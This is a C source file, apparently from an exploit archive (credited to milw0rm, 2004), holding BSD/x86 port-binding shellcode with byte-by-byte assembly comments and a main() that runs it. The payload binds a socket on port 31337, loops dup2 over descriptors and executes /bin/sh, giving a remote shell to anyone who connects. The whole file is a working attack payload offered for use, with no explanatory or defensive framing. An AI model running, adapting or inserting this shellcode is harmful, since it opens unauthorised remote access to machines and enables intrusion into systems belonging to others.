64 lines
No EOL
2.7 KiB
C
64 lines
No EOL
2.7 KiB
C
/* portbinding execve() shellcode (port 31337) bsd/x86 (83b) - no1 (greyhats.za.net) */
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char shellc0de[]=
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"\x99" // cdq
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"\x52" // pushl %edx
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"\x6a\x01" // pushl $0x01
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"\x6a\x02" // pushl $0x02
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"\xb0\x61" // movb $0x61,%al
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"\x50" // pushl %eax
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"\xcd\x80" // int $0x80
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"\x52" // pushl %edx
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"\x68\xff\x02\x7a\x69" // pushl $0x697a02ff
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"\x89\xe3" // movl %esp,%ebx
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"\x6a\x10" // push $0x10
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"\x53" // pushl %ebx
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"\x50" // pushl %eax
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"\x93" // xchg %eax,%ebx
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"\x31\xc0" // xorl %eax,%eax
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"\xb0\x68" // movb $0x68,%al
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"\x50" // pushl %eax
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"\xcd\x80" // int $0x80
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"\x53" // pushl %ebx
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"\xb0\x6a" // movb $0x6a,%al
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"\x50" // pushl %eax
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"\xcd\x80" // int $0x80
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"\x31\xc0" // xorl %eax,%eax
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"\x50" // pushl %eax
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"\x50" // pushl %eax
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"\x53" // pushl %ebx
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"\xb0\x1e" // movb $0x1e,%al
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"\x50" // pushl %eax
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"\xcd\x80" // int $0x80
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"\x93" // xchg %eax,%ebx
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"\x89\xc1" // movl %eax,%ecx
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// looper:
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"\x31\xc0" // xor %eax,%eax
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"\x51" // pushl %ecx
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"\x53" // pushl %ebx
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"\xb0\x5a" // movb $0x5a,%al
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"\x50" // pushl %eax
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"\xcd\x80" // int $0x80
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"\x49" // decl %ecx
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"\x79\xf4" // jns looper
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"\x50" // pushl %eax
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"\x68\x2f\x2f\x73\x68" // pushl $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f
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"\x89\xe3" // movl %esp,%ebx
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"\x50" // pushl %eax
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"\x54" // pushl %esp
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"\x53" // pushl %ebx
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"\xb0\x3b" // movb $0x3b,%al
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"\x50" // pushl %eax
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"\xcd\x80"; // int $0x80
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int
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main()
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{
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void(*sc)()=(void *)shellc0de;
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printf("\nportbinding execve() shellcode (port 31337) bsd/x86 (%db) - no1 (greyhats.za.net)\n",strlen(shellc0de));
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sc();
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return;
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}
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// milw0rm.com [2004-09-26]
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